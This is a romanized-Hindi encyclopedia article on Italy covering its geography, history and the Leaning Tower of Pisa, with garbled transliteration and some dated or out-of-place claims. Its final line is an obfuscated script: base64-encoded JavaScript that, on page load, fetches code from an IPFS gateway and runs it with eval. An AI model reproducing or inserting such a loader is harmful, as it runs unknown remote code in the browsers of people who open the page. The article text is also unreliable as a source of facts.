इटली

thumb|250px|itali ka dhvaj itali dakshini yoorop mean bhoomadhy sagariy kshetr mean sthit hai. isake uttar pashchim mean phraans, ligooriyan sagar, tiraheniyan sagar, dakshin mean ayoniyan sagar, poorv mean edriyatik sagar, uttar-poorv mean yoogoslaviya uttar mean astriya aur svitzaralaiand sthit haian. itali bhoomadhy sagar mean ek prayadvipiy desh hai. isake dakshin mean sisali tatha sardiniya, namak do sabase b de dvip tatha elva kreanvi, ischiya v kee chhote dvip haian. vetikan siti tatha sain marino itali ke aantargat samahit do svatantr desh haian .

itihas

itali, yoonan ke bad yoorop ka doosara ka doosara prachinatam rashtr hai. rom ki sabhyata tatha itali ka itihas desh ke prachin vaibhav tatha vikas ka pratik hai. adhunik itali 1861 ee. mean rajy ke roop mean gathit hua tha. desh ki dhimi pragati, samajik sangathan tatha rajanitik uthal-puthal itali ke 2,500 varsh ke itihas se sanbaddh hai. desh mean poorvakal mean rajatantr tha jisaka aantim rajagharana sevay tha. joon, sanh 1946 se desh ek janataantrik rajy mean parivartit ho gaya.

rom itali desh ki rajadhani hai. jo yooropiy sangh ka ek sadasy desh hai. 19 vian shati mean, itali ke nivasi manoochi ne prayag ke qile ki chattan se nile pani ki sarasvati nadi ko nikalate dekha tha. yah nadi ganga-yamuna ke sangam mean hi mil jati thi.

pisa ki minar

thumb|250px|pisa ki minar itali mean ‘liniang tavar aauf pisa’ ko vastushilp ka adabhut namoona mana jata hai. apane nirman ke bad se hi minar lagatar niche ki or jhukati rahi hai aur isi jhukane ki vajah se vah duniya bhar mean bhi mashahoor rahi hai. is vajah se khatara bana hua tha ki ye ek din gir jaegi. 1173 ee. me nirmit ath manjila is minar ka vastukar bonebras tha. yah oodhvardhar se 5 mitar se bhi adhik jhuki hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>